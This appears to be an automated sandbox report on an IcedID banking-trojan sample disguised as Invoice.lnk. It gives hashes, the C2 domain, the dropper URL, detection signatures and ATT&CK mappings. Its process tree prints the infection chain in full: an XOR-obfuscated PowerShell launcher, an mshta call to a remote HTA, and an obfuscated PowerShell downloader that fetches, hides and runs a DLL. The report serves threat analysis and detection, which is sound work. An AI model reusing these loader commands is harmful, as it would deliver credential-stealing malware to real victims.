icedid | d84858759a5c581373e2f2fe85fa155a3a6cfe55da68df33cfdc7be28c184fcc

General

Target

Invoice.lnk
Size

168KB
MD5

edbd1edc29cbffb556ce1f114cce26b0
SHA1

272d13aacab4f01bef6291bdc6cadfa1056d7487
SHA256

6dedf3cf1241a2db9515459013693dc05dcb0538f99a99aa894a1cd822bac040
SHA512

001efa270ffd6cdb9223a34749f9f6c840efa2a4cfe226ed12cf2941c13b94da3e7ae3e60189f6f89a1bb2c5756b3657335a8fad916e4bbb04cd616d11b4a2d6

Score

10^/10

icedid 1487191074 banker loader suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://comradespoon.com/2h.hta

Extracted

Family

icedid

Campaign

1487191074

C2

vneastruzz.com

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata
Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1588 mshta.exe
5 568 powershell.exe
7 1504 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1504 rundll32.exe
1504 rundll32.exe
1504 rundll32.exe
1504 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exerundll32.exe

pid process

1704 powershell.exe
568 powershell.exe
1504 rundll32.exe
1504 rundll32.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1704 powershell.exe
Token: SeDebugPrivilege 568 powershell.exe

flow	pid	process
4	1588	mshta.exe
5	568	powershell.exe
7	1504	rundll32.exe

pid	process
1504	rundll32.exe
1504	rundll32.exe
1504	rundll32.exe
1504	rundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1704	powershell.exe
568	powershell.exe
1504	rundll32.exe
1504	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exemshta.exepowershell.exe

description	pid	process	target process
PID 1460 wrote to memory of 1704	1460	cmd.exe	powershell.exe
PID 1460 wrote to memory of 1704	1460	cmd.exe	powershell.exe
PID 1460 wrote to memory of 1704	1460	cmd.exe	powershell.exe
PID 1704 wrote to memory of 1588	1704	powershell.exe	mshta.exe
PID 1704 wrote to memory of 1588	1704	powershell.exe	mshta.exe
PID 1704 wrote to memory of 1588	1704	powershell.exe	mshta.exe
PID 1588 wrote to memory of 568	1588	mshta.exe	powershell.exe
PID 1588 wrote to memory of 568	1588	mshta.exe	powershell.exe
PID 1588 wrote to memory of 568	1588	mshta.exe	powershell.exe
PID 568 wrote to memory of 1504	568	powershell.exe	rundll32.exe
PID 568 wrote to memory of 1504	568	powershell.exe	rundll32.exe
PID 568 wrote to memory of 1504	568	powershell.exe	rundll32.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $UyNmTVCg = [convert]::FromBase64String('PjIv');$OikXNBFJ = [convert]::FromBase64String('GgQfAxZXHwMDB01YWBQYGgUWExIEBxgYGVkUGBpYRR9ZHwMW');$krHNYSsX = -join($UyNmTVCg | % {[char] ($_ -bxor 0x77)});$QOdPilEN = -join ($OikXNBFJ | % { [char] ($_ -bxor 0x77)});sal mUkqunnT $krHNYSsX;mUkqunnT $QOdPilEN
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1704

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" http://comradespoon.com/2h.hta
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function rZwKXSy($rOzLm, $DUeaQm){[IO.File]::WriteAllBytes($rOzLm, $DUeaQm)};function htljZbMQ($rOzLm){if($rOzLm.EndsWith((xoyDjKbWstoV @(72795,72849,72857,72857))) -eq $True){Start-Process (xoyDjKbWstoV @(rundll32.exe $rOzLm ,PluginInit ))}elseif($rOzLm.EndsWith((xoyDjKbWstoV @(72795,72861,72864,72798))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $rOzLm}else{Start-Process $rOzLm}};function SiBubiCtqgxPeNJqDKD($rZwKXSy){$eGKnYJkKmOtohKYR=(xoyDjKbWstoV @(72821,72854,72849,72849,72850,72859));$hFlgyECaMBiw=(Get-ChildItem $rZwKXSy -Force);$hFlgyECaMBiw.Attributes=$hFlgyECaMBiw.Attributes -bor ([IO.FileAttributes]$eGKnYJkKmOtohKYR).value__};function iGSkurIwFCeyKNPHoI($zVxGUJsKPALgckmv){$EbaApiTPKvKzt = New-Object (xoyDjKbWstoV @(72827,72850,72865,72795,72836,72850,72847,72816,72857,72854,72850,72859,72865));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$DUeaQm = $EbaApiTPKvKzt.DownloadData($zVxGUJsKPALgckmv);return $DUeaQm};function xoyDjKbWstoV($WvTikuTXb){$lJrjbHlZ=72749;$atMOIng=$Null;foreach($nSQChvZytQtFryr in $WvTikuTXb){$atMOIng+=[char]($nSQChvZytQtFryr-$lJrjbHlZ)};return $atMOIng};function qSYcqRJFG(){$LelVRnfNHnvRdRpfMKy = $env:ProgramData + '\';$IvwEdTB = $LelVRnfNHnvRdRpfMKy + '2.dll'; if (Test-Path -Path $IvwEdTB){htljZbMQ $IvwEdTB;}Else{ $kfGWL = iGSkurIwFCeyKNPHoI (xoyDjKbWstoV @(72853,72865,72865,72861,72807,72796,72796,72848,72860,72858,72863,72846,72849,72850,72864,72861,72860,72860,72859,72795,72848,72860,72858,72796,72799,72795,72849,72857,72857));rZwKXSy $IvwEdTB $kfGWL;htljZbMQ $IvwEdTB;};SiBubiCtqgxPeNJqDKD $IvwEdTB;;;;;}qSYcqRJFG;
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:568

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\ProgramData\2.dll PluginInit
5⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1504

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\2.dll
Filesize
813KB

MD5
25d1234dd9cf6e381a71f3af53897cda

SHA1
c34b42afaab68851deb4fe169ddc602106ea7869

SHA256
6ab4c37872c4b1ca57ba2f2226f5565b726d4db2128ed50c0a3a3e9a7d7888b3

SHA512
ddb19f8e1486a68e4d00bfbfcdd11cf183382d5c7171a8d83bce92b48c71c1338cb25d9da3b27dc22e6bdc7e196bc88db8e1172db4a170b2b299f852ada0865a

Download Submit
\ProgramData\2.dll
Filesize
813KB

MD5
25d1234dd9cf6e381a71f3af53897cda

SHA1
c34b42afaab68851deb4fe169ddc602106ea7869

SHA256
6ab4c37872c4b1ca57ba2f2226f5565b726d4db2128ed50c0a3a3e9a7d7888b3

SHA512
ddb19f8e1486a68e4d00bfbfcdd11cf183382d5c7171a8d83bce92b48c71c1338cb25d9da3b27dc22e6bdc7e196bc88db8e1172db4a170b2b299f852ada0865a

Download Submit
\ProgramData\2.dll
Filesize
813KB

MD5
25d1234dd9cf6e381a71f3af53897cda

SHA1
c34b42afaab68851deb4fe169ddc602106ea7869

SHA256
6ab4c37872c4b1ca57ba2f2226f5565b726d4db2128ed50c0a3a3e9a7d7888b3

SHA512
ddb19f8e1486a68e4d00bfbfcdd11cf183382d5c7171a8d83bce92b48c71c1338cb25d9da3b27dc22e6bdc7e196bc88db8e1172db4a170b2b299f852ada0865a

Download Submit
\ProgramData\2.dll
Filesize
813KB

MD5
25d1234dd9cf6e381a71f3af53897cda

SHA1
c34b42afaab68851deb4fe169ddc602106ea7869

SHA256
6ab4c37872c4b1ca57ba2f2226f5565b726d4db2128ed50c0a3a3e9a7d7888b3

SHA512
ddb19f8e1486a68e4d00bfbfcdd11cf183382d5c7171a8d83bce92b48c71c1338cb25d9da3b27dc22e6bdc7e196bc88db8e1172db4a170b2b299f852ada0865a

Download Submit
\ProgramData\2.dll
Filesize
813KB

MD5
25d1234dd9cf6e381a71f3af53897cda

SHA1
c34b42afaab68851deb4fe169ddc602106ea7869

SHA256
6ab4c37872c4b1ca57ba2f2226f5565b726d4db2128ed50c0a3a3e9a7d7888b3

SHA512
ddb19f8e1486a68e4d00bfbfcdd11cf183382d5c7171a8d83bce92b48c71c1338cb25d9da3b27dc22e6bdc7e196bc88db8e1172db4a170b2b299f852ada0865a

Download Submit
memory/568-103-0x00000000023C4000-0x00000000023C7000-memory.dmp

Filesize
12KB

Download
memory/568-111-0x00000000023C4000-0x00000000023C7000-memory.dmp

Filesize
12KB

Download
memory/568-99-0x0000000000000000-mapping.dmp

Download
memory/568-101-0x000007FEF37B0000-0x000007FEF41D3000-memory.dmp

Filesize
10.1MB

Download
memory/568-102-0x000007FEF2C50000-0x000007FEF37AD000-memory.dmp

Filesize
11.4MB

Download
memory/568-104-0x00000000023CB000-0x00000000023EA000-memory.dmp

Filesize
124KB

Download
memory/568-112-0x00000000023CB000-0x00000000023EA000-memory.dmp

Filesize
124KB

Download
memory/1460-54-0x000007FEFBCD1000-0x000007FEFBCD3000-memory.dmp

Filesize
8KB

Download
memory/1504-105-0x0000000000000000-mapping.dmp

Download
memory/1504-113-0x0000000180000000-0x0000000180009000-memory.dmp

Filesize
36KB

Download
memory/1588-95-0x0000000000000000-mapping.dmp

Download
memory/1704-96-0x0000000002414000-0x0000000002417000-memory.dmp

Filesize
12KB

Download
memory/1704-94-0x000007FEF35F0000-0x000007FEF414D000-memory.dmp

Filesize
11.4MB

Download
memory/1704-93-0x000007FEF4150000-0x000007FEF4B73000-memory.dmp

Filesize
10.1MB

Download
memory/1704-88-0x0000000000000000-mapping.dmp

Download
memory/1704-97-0x000000000241B000-0x000000000243A000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads